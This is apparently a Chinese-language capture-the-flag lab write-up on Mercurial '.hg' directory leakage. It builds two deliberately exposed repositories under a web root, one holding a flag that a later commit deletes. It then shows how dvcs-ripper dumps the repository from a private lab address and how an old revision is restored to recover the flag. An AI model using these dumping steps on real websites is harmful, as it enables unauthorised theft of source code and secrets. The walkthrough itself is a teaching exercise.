hg
命名,所有操作皆以 hg <action>
的指令型式來完成,因此 Mercurial 也時常被直接簡稱 hg。維基百科參考資料:https://zh.wikipedia.org/wiki/Mercurial
在利用 hg init
建立 repository 時,會在專案目錄中生成 .hg
資料夾,資料夾中紀錄著專案的版本資料,若不慎將 .hg
目錄公開,駭客便可以 dump 其中的內容,將專案原始碼重建,因而稱為 HG 洩漏。
./rip-hg.pl -v -u <網址/.hg/>
ls -al
cat <找到的 flag 檔案>
./rip-hg.pl -v -u <網址/.hg/>
hg log
hg update -r <changeset 的版本>
ls -al
cat <找到的檔案>
題目建置
# Install Mercurial (HG)
sudo apt install mercurial
# Edit username
hg config --edit
# Create Repository
REPO="/var/www/html/hg_1"
sudo mkdir "$REPO" && sudo chown -R "$(whoami)" "$REPO" && cd "$REPO"
hg init
# Add Flag
tee index.php <<EOF
<?php \$flag = 'FLAG{OAO+O3O-O_o}'; ?>
You cannot see me!
EOF
hg add index.php
hg commit -m "Add Flag"
解題
在網頁伺服器發現 .hg
目錄的存在。
下載 dvcs-ripper
# Install Tool Dependencies
sudo apt-get install mercurial perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
# Download Tool
git clone https://github.com/kost/dvcs-ripper.git
.hg
,得到原始碼# Dump
mkdir dump && cd dump
../dvcs-ripper/rip-hg.pl -v -u http://172.16.28.2/hg_1/.hg
# Show flag
cat index.php
題目建置
# Create Repository
REPO="/var/www/html/hg_2"
sudo mkdir "$REPO" && sudo chown -R "$(whoami)" "$REPO" && cd "$REPO"
hg init
# Add Flag
tee index.php <<EOF
<?php \$flag = 'FLAG{OAO+O3O-O_o}'; ?>
You cannot see me!
EOF
hg add index.php
hg commit -m "Add Flag"
# Delete Flag
echo 'No flag anymore' > index.php
hg commit -m "Remove Flag"
解題
.hg
# Dump
mkdir dump && cd dump
../dvcs-ripper/rip-hg.pl -v -u http://172.16.28.2/hg_2/.hg
# Show Log
hg log
# Revert old version
hg update -r 0
# Show flag
cat index.php